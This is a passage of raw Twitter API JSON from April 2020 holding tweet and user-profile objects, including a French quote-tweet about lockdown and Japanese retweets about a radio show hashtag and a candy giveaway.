2010\",\"favourites_count\":19893,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":217009,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"642D8B\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254168218601652233\\\/dq4evs0i_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254168218601652233\\\/dq4evs0i_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/180398421\\\/1579979760\",\"profile_link_color\":\"FF0000\",\"profile_sidebar_border_color\":\"65B0DA\",\"profile_sidebar_fill_color\":\"7AC3EE\",\"profile_text_color\":\"3D1957\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254136568417259521,\"quoted_status_id_str\":\"1254136568417259521\",\"quoted_status\":{\"created_at\":\"Sat Apr 25 19:53:53 +0000 2020\",\"id\":1254136568417259521,\"id_str\":\"1254136568417259521\",\"text\":\"Il n\\u2019a pas comprit le concept \\ud83d\\ude05\\n#confinement https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"confinement\",\"indices\":[32,44]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254136503258808321,\"id_str\":\"1254136503258808321\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"display_url\":\"pic.twitter.com\\\/j0pvvaXqF2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/GloriaOlembo\\\/status\\\/1254136568417259521\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254136503258808321,\"id_str\":\"1254136503258808321\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"display_url\":\"pic.twitter.com\\\/j0pvvaXqF2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/GloriaOlembo\\\/status\\\/1254136568417259521\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":13078,\"variants\":[{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/320x568\\\/AVnszQa6W9q7c04O.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/360x640\\\/Xy2jSsmTHBHeOUUi.mp4?tag=10\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/pl\\\/OKaz96Nq0Hw-jSDL.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/540x960\\\/2pgtZuZG3AfQD02w.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1164591021008834563,\"id_str\":\"1164591021008834563\",\"name\":\"ITS MY BDAY\\ud83e\\udd73\",\"screen_name\":\"GloriaOlembo\",\"location\":\"Bruxelles, Belgique\",\"description\":\"1m66 de douceur insta: gloriaolembo\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":381,\"friends_count\":87,\"listed_count\":0,\"created_at\":\"Thu Aug 22 17:32:01 +0000 2019\",\"favourites_count\":611,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":588,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251225268817137670\\\/E5x_QB1R_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251225268817137670\\\/E5x_QB1R_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1164591021008834563\\\/1584457034\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":17716,\"favorite_count\":38440,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":true,\"lang\":\"fr\"},\"retweet_count\":8577,\"favorite_count\":30825,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":true,\"quoted_status_id\":1254136568417259521,\"quoted_status_id_str\":\"1254136568417259521\",\"retweet_count\":8577,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511397531648,\"id_str\":\"1254206511397531648\",\"text\":\"RT @TomoccoryShow: #tmcckor\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"tmcckor\",\"indices\":[19,27]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TomoccoryShow\",\"name\":\"TomoccoryShow\",\"id\":1230575068989681664,\"id_str\":\"1230575068989681664\",\"indices\":[3,17]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":720932439892238337,\"id_str\":\"720932439892238337\",\"name\":\"\\u3080\\u304e\\u306e\\u3053\\u3080\\u304e\",\"screen_name\":\"hironet1215\",\"location\":\"\\u65e5\\u672c\",\"description\":\"\\u3080\\u304e\\u306e\\u306f\\u6c38\\u9060\\u306e\\u76f8\\u65b9\\u3002\\u30d3\\u30fc10\\u30ea\\u30b9\\u30ca\\u30fc\\u3053\\u3068\\u30c6\\u30f3\\u30c0\\u30fc\\u3002\\u97f3\\u697d\\u306f\\u52ff\\u8ad6\\u3001\\u6620\\u753b\\u3001\\u672c\\u3001\\u30a2\\u30cb\\u30e1\\u3001\\u5b50\\u3069\\u3082\\u305f\\u3061\\u3068\\u793e\\u4f1a\\u306e\\u3053\\u3068\\u306a\\u3069\\u3001\\u6c17\\u7d1b\\u308c\\u306b\\u545f\\u304d\\u307e\\u3059\\u3002\\u57fa\\u672c\\u306f\\u30ce\\u30ea\\u30c4\\u30c3\\u30b3\\u30df\\u62c5\\u5f53\\u3067\\u3059\\u3002\\u3088\\u308d\\u3057\\u304f\\u304a\\u9858\\u3044\\u3057\\u307e\\u3059\\u3002\\u3053\\u3080\\u304e\\u3068\\u304a\\u547c\\u3073\\u4e0b\\u3055\\u3044\\u3002\\u30df\\u30e5\\u30fc\\u30c8\\u3001\\u30ea\\u30e0\\u3001\\u30d6\\u30ed\\u306f\\u3054\\u81ea\\u7531\\u306b\\u9858\\u3044\\u307e\\u3059\\u3002\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":113,\"friends_count\":149,\"listed_count\":5,\"created_at\":\"Fri Apr 15 11:11:02 +0000 2016\",\"favourites_count\":20307,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":13310,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247744690700476417\\\/_u3TUqxg_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247744690700476417\\\/_u3TUqxg_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/720932439892238337\\\/1587232671\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sun Apr 26 00:25:57 +0000 2020\",\"id\":1254205036227203072,\"id_str\":\"1254205036227203072\",\"text\":\"#tmcckor https:\\\/\\\/t.co\\\/qc2mjHqTar\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"tmcckor\",\"indices\":[0,8]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/qc2mjHqTar\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/t_moco2\\\/status\\\/1254204582508429312\",\"display_url\":\"twitter.com\\\/t_moco2\\\/status\\u2026\",\"indices\":[9,32]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1230575068989681664,\"id_str\":\"1230575068989681664\",\"name\":\"TomoccoryShow\",\"screen_name\":\"TomoccoryShow\",\"location\":\"\",\"description\":\"@t_moco2\\u304c\\u61d0\\u304b\\u3057\\u3044\\u3068\\u601d\\u3046\\u66f2\\u3060\\u3051\\u304b\\u3051\\u7d9a\\u3051\\u308b\\u300c\\u30c8\\u30e2\\u30c3\\u30b3\\u30ea\\u30fc\\u30fb\\u30b7\\u30e7\\u30fc\\u300d\\u3002\\u653e\\u9001\\u5c40\\u7d9a\\u3005\\u8ffd\\u52a0\\u4e2d\\u3002\\u653e\\u9001\\u30b9\\u30b1\\u30b8\\u30e5\\u30fc\\u30eb\\u306fhttps:\\\/\\\/t.co\\\/AgT1KK4Y2H \\u3067\\u30c1\\u30a7\\u30c3\\u30af\\u3002#tmcckor\",\"url\":null,\"entities\":{\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/AgT1KK4Y2H\",\"expanded_url\":\"http:\\\/\\\/radiomagazine.amebaownd.com\",\"display_url\":\"radiomagazine.amebaownd.com\",\"indices\":[55,78]}]}},\"protected\":false,\"followers_count\":252,\"friends_count\":543,\"listed_count\":1,\"created_at\":\"Thu Feb 20 19:29:10 +0000 2020\",\"favourites_count\":219,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":634,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1240274193385533440\\\/KyD_wuBz_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1240274193385533440\\\/KyD_wuBz_normal.png\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1230575068989681664\\\/1582364243\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254204582508429312,\"quoted_status_id_str\":\"1254204582508429312\",\"quoted_status\":{\"created_at\":\"Sun Apr 26 00:24:09 +0000 2020\",\"id\":1254204582508429312,\"id_str\":\"1254204582508429312\",\"text\":\"\\u3053\\u306e\\u5f8c10\\u6642\\u304b\\u3089\\u301c\\uff01#tmcckor https:\\\/\\\/t.co\\\/J4G9Drx4eU\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"tmcckor\",\"indices\":[10,18]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/J4G9Drx4eU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/mikeintokyo2004\\\/status\\\/1254204363582521347\",\"display_url\":\"twitter.com\\\/mikeintokyo200\\u2026\",\"indices\":[19,42]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":29117715,\"id_str\":\"29117715\",\"name\":\"\\ud835\\ude9d\\ud835\\ude8a\\ud835\\ude90\\ud835\\ude9e\\ud835\\ude8c\\ud835\\ude91\\ud835\\ude92 \\ud835\\udd65\\ud835\\udd60\\ud835\\udd5e\\ud835\\udd60\\ud835\\udd5c\\ud835\\udd60\",\"screen_name\":\"t_moco2\",\"location\":\"\\u30d5\\u30a1\\u30f3\\u30bf\\u30b8\\u30fc\\u306e\\u753a\\u3001\\u5ddd\\u5d0e\",\"description\":\"\\u7530\\u53e3\\u667a\\u5b50\\u3002\\u5ddd\\u5d0e\\u5e02\\u6c11\\u3002\\u30e9\\u30b8\\u30aa\\u756a\\u7d44\\u5236\\u4f5c\\u3092\\u4e2d\\u5fc3\\u3068\\u3057\\u305f\\u81ea\\u55b6\\u696d\\u3002\\u597d\\u304d\\u306a\\u306e\\u306f\\u6cf3\\u3050\\u4e8b\\u3001\\u30c9\\u30e9\\u30a4\\u30d6\\u3001\\u5c0f\\u7b20\\u539f\\u9053\\u5927\\u3001\\u6d77\\u5916\\u30c9\\u30e9\\u30de\\u3001\\u30d1\\u30f3\\u3001\\u5bd2\\u5929\\u3001\\u300c\\u30ab\\u30c3\\u30b3\\u3044\\u3044\\u300d\\u7269\\u3002\\u300c\\u304b\\u308f\\u3044\\u3044\\u300d\\u4eba\\u3002tomoko\\u306e\\u8cea\\u554f\\u7bb1\\u2192 https:\\\/\\\/t.co\\\/cCAlxTN9Yi\",\"url\":\"https:\\\/\\\/t.co\\\/LkqhNiLYNt\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/LkqhNiLYNt\",\"expanded_url\":\"https:\\\/\\\/radiomagazine.amebaownd.com\\\/\",\"display_url\":\"radiomagazine.amebaownd.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/cCAlxTN9Yi\",\"expanded_url\":\"https:\\\/\\\/peing.net\\\/t_moco2\",\"display_url\":\"peing.net\\\/t_moco2\",\"indices\":[88,111]}]}},\"protected\":false,\"followers_count\":798,\"friends_count\":452,\"listed_count\":29,\"created_at\":\"Mon Apr 06 01:46:48 +0000 2009\",\"favourites_count\":4098,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":27121,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"E80743\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme3\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme3\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/770680258982928384\\\/t9gkXR9j_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/770680258982928384\\\/t9gkXR9j_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/29117715\\\/1409324949\",\"profile_link_color\":\"B50164\",\"profile_sidebar_border_color\":\"B7195B\",\"profile_sidebar_fill_color\":\"AA0645\",\"profile_text_color\":\"F21365\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254204363582521347,\"quoted_status_id_str\":\"1254204363582521347\",\"retweet_count\":3,\"favorite_count\":4,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},\"retweet_count\":1,\"favorite_count\":1,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"is_quote_status\":true,\"quoted_status_id\":1254204582508429312,\"quoted_status_id_str\":\"1254204582508429312\",\"retweet_count\":1,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511355592704,\"id_str\":\"1254206511355592704\",\"text\":\"RT @kantanlife2019: \\ud83d\\udce2\\u304a\\u3046\\u3061\\u3067\\u98df\\u3079\\u308b\\u30ad\\u30e3\\u30f3\\u30da\\u30fc\\u30f3\\uff01\\uff01\\n #\\u81ea\\u7c9b\\n\\ud83d\\udc9c\\u5bb6\\u306b\\u3044\\u308b\\u6a5f\\u4f1a\\u304c\\u5897\\u3048\\u308b\\u3068 \\u30b9\\u30c8\\u30ec\\u30b9\\u6e9c\\u307e\\u3063\\u3066\\u7518\\u3044\\u3082\\u306e\\u6b32\\u3057\\u304f\\u306a\\u308a\\u307e\\u305b\\u3093\\uff1f\\n#\\u30b3\\u30ed\\u30ca\\u306b\\u8ca0\\u3051\\u308b\\u306a \\n\\ud83c\\udf69\\u62bd\\u9078\\u30673\\u540d\\u69d8\\u306b\\u30d7\\u30ec\\u30bc\\u30f3\\u30c8 \\u2b07\\ufe0f\\n\\u30d6\\u30eb\\u30dc\\u30f3 35\\u888b\\u5165\\n#\\u304a\\u304b\\u3057\\u3064\\u306a\\u304e \\u306b\\u53c2\\u52a0\\u3055\\u305b\\u3066\\u3044\\u305f\\u3060\\u304d\\u307e\\u3059\\uff01\\n\\u2728\\u5fdc\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"\\u81ea\\u7c9b\",\"indices\":[38,41]},{\"text\":\"\\u30b3\\u30ed\\u30ca\\u306b\\u8ca0\\u3051\\u308b\\u306a\",\"indices\":[77,86]},{\"text\":\"\\u304a\\u304b\\u3057\\u3064\\u306a\\u304e\",\"indices\":[115,122]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"kantanlife2019\",\"name\":\"Kantanlife\",\"id\":1163377400081612800,\"id_str\":\"1163377400081612800\",\"indices\":[3,18]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":752359744111714304,\"id_str\":\"752359744111714304\",\"name\":\"\\u3072\\u308d\\u307d\\u307d\\u3061\\u301c\\u305f\\u3093\",\"screen_name\":\"jbfzfSGmzd2WTsL\",\"location\":\"\\u65e5\\u672c\\u3001\\u795e\\u5948\\u5ddd\\u770c\\u6a2a\\u6d5c\",\"description\":\"2017\\u5e741\\u6708\\u304b\\u3089\\u7bc0\\u7d04\\u3092\\u517c\\u306d\\u61f8\\u8cde\\u5fdc\\u52df\\u3092\\u59cb\\u3081\\u3066\\u307f\\u307e\\u3057\\u305f\\u2728\\u3068\\u3053\\u308d\\u304c\\u3001Twitter\\u61f8\\u8cde\\u2026\\u4e2d\\u3005\\u5f53\\u305f\\u3089\\u306a\\u3044\\u3067\\u3059\\u306d\\ud83d\\ude22\\u6804\\u990a\\u58eb\\u306e\\u52c9\\u5f37\\u3002\\u6bcd\\u306e\\u30ea\\u30cf\\u30d3\\u30ea\\u30fb\\u5728\\u5b85\\u4ecb\\u8b77\\u306b\\u65e5\\u3005\\u596e\\u95d8\\u3057\\u3066\\u307e\\u3059\\u3002\\u75db\\u307f\\u3092\\u62b1\\u3048\\u306a\\u304c\\u3089\\u3082\\u5171\\u306b\\u524d\\u5411\\u304d\\u306b\\u6b69\\u3093\\u3067\\u304f\\u308c\\u308b\\u6bcd\\u3068\\u4e00\\u7dd2\\u306b\\u3044\\u3064\\u307e\\u3067\\u904e\\u3054\\u305b\\u308b\\u304b\\u2026 \\u3002\\u611b\\u732bPua\\u541b\\u3001\\u611b\\u72acJAZZ\\u541b\\u306e\\u6210\\u9577\\u8a18\\u9332\\u3068\\u3057\\u3066\\u3082\\u5229\\u7528\\u3092\\u3055\\u305b\\u3066\\u9802\\u3044\\u3066\\u304a\\u308a\\u307e\\u3059\\u3002\",\"url\":\"https:\\\/\\\/t.co\\\/4DKgjYvApe\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/4DKgjYvApe\",\"expanded_url\":\"https:\\\/\\\/www.instagram.com\\\/ikumihiropopo\",\"display_url\":\"instagram.com\\\/ikumihiropopo\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":134,\"friends_count\":2103,\"listed_count\":1,\"created_at\":\"Mon Jul 11 04:31:55 +0000 2016\",\"favourites_count\":3093,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":10958,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/940231026038661120\\\/wBNpUy9N_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/940231026038661120\\\/wBNpUy9N_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/752359744111714304\\\/1509239794\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Fri Apr 24 09:23:10 +0000 2020\",\"id\":1253615456675495936,\"id_str\":\"1253615456675495936\",\"text\":\"\\ud83d\\udce2\\u304a\\u3046\\u3061\\u3067\\u98df\\u3079\\u308b\\u30ad\\u30e3\\u30f3\\u30da\\u30fc\\u30f3\\uff01\\uff01\\n #\\u81ea\\u7c9b\\n\\ud83d\\udc9c\\u5bb6\\u306b\\u3044\\u308b\\u6a5f\\u4f1a\\u304c\\u5897\\u3048\\u308b\\u3068 \\u30b9\\u30c8\\u30ec\\u30b9\\u6e9c\\u307e\\u3063\\u3066\\u7518\\u3044\\u3082\\u306e\\u6b32\\u3057\\u304f\\u306a\\u308a\\u307e\\u305b\\u3093\\uff1f\\n#\\u30b3\\u30ed\\u30ca\\u306b\\u8ca0\\u3051\\u308b\\u306a \\n\\ud83c\\udf69\\u62bd\\u9078\\u30673\\u540d\\u69d8\\u306b\\u30d7\\u30ec\\u30bc\\u30f3\\u30c8 \\u2b07\\ufe0f\\n\\u30d6\\u30eb\\u30dc\\u30f3 35\\u888b\\u5165\\n#\\u304a\\u304b\\u3057\\u3064\\u306a\\u304e \\u306b\\u53c2\\u52a0\\u3055\\u305b\\u3066\\u3044\\u305f\\u3060\\u304d\\u307e\\u3059\\u2026 https:\\\/\\\/t.co\\\/Ce2yCK3tj1\",\"truncated\":true,\"entities\":{\"hashtags\":[{\"text\":\"\\u81ea\\u7c9b\",\"indices\":[18,21]},{\"text\":\"\\u30b3\\u30ed\\u30ca\\u306b\\u8ca0\\u3051\\u308b\\u306a\",\"indices\":[57,66]},{\"text\":\"\\u304a\\u304b\\u3057\\u3064\\u306a\\u304e\",\"indices\":[95,102]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/Ce2yCK3tj1\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1253615456675495936\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1163377400081612800,\"id_str\":\"1163377400081612800\",\"name\":\"Kantanlife\",\"screen_name\":\"kantanlife2019\",\"location\":\"\",\"description\":\"\\ud83c\\udf81\\u30d7\\u30ec\\u30bc\\u30f3\\u30c8\\u4f01\\u753b\\u958b\\u50ac\\u4e2d~ \\ud83d\\udde3\\u30c4\\u30a4\\u30bf\\u3067\\u8272\\u3093\\u306a\\u30ad\\u30e3\\u30f3\\u30da\\u30f3\\u30fc\\u3084\\u62bd\\u9078\\u3092\\u884c\\u3063\\u3066\\u3044\\u307e\\u3059\\u3001\\u305c\\u3072\\u30d5\\u30a9\\u30ed\\u30fc\\u3057\\u3066\\u304f\\u3060\\u3055\\u3044\\ud83e\\uddd8\\u200d\\u2640\\ufe0f \\ud83d\\udc9d\\u7121\\u6599\\u8a66\\u4f9b\\u54c1\\u63d0\\u4f9b\\u4e2d 